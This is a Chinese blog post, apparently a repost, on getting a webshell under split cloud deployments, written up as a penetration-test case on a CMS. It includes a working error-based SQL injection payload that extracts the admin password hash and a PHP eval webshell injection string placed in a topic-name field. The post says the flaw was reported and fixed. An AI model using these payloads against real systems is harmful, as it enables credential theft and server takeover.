• 新的部署架构之下,如何拿shell?


    和朋友聊起一个话题,服务器部署架构升级对安全的影响。从最简单的一台服务器,到应用、数据库、文件服务器分离;从本地机房服务器到云服务器产品矩阵;从虚拟化到容器化部署,一直在往更安全的方向改变。

    本文试图构建这样场景,源码放在ECS,数据库放RDS,非结构化数据存储放HDFS。常规的getshell手段,如SQL注入写入文件,任意文件上传,文件包含等似乎已不再好使。这种情况,如何突破系统的部署架构,来获取网站的webshell呢?

    实战思路:黑盒渗透测试+白盒代码审计

    在进行信息收集的时候,找到网站管理后台,查看登录界面网页源代码,获知该系统可能由某CMS二次开发。进一步下载开源CMS源代码进行代码审计,从前台sql注入到后台getshell。

    某CMS演示站点漏洞利用过程:

    1、利用前台SQL注入漏洞,搜索处填入Pyload:

    keyword=1%' or (select 1 from (select count(),concat((concat(0x5e5e21,(select concat(0x7c,password,0x7c) from xxxxx_user where uid=1),0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)#

    将md5值:21232f297a57a5a743894a0e4a801fc3 解密为admin

    使用弱口令admin/admin成功登陆后台。

    2、 登陆后台,在Home设置—专题管理—创建专题—专题名称处填写Payload:test111',eval($_POST[g]),//

    3、访问webshell地址:

    PS:本文所引用案例,安全漏洞于2018.11提交官方,目前已修复。


    技术架构上的升级,它可以很大程度地降低一些安全风险,黑盒渗透的漏洞利用难度无疑会增大。目前,比较流行的微服务架构,会有越来越多的系统使用场景,而这也是一个很大的挑战,你以为你拿到了整个系统的权限,其实你触及的可能是系统中的某个服务。

    很喜欢这样一句话,简短有启发:细节中发现漏洞,架构上解决问题,流程中控制风险。

  • 相关阅读:
    网络通信之 字节序转换原理与网络字节序、大端和小端模式
    [C/C++]大小端字节序转换程序
    面向对象和面向过程的区别
    编译libjpeg
    地形系统lod
    c/c++ 代码中使用sse指令集加速
    个人作品- 蘑菇大战
    个人作品- 几何战争
    Obj格式模型 读取
    各大引擎矩阵的矩阵存储方式 ----行矩阵 or 列矩阵
  • 原文地址:https://www.cnblogs.com/xiaozi/p/11604814.html
Copyright © 2020-2023  润新知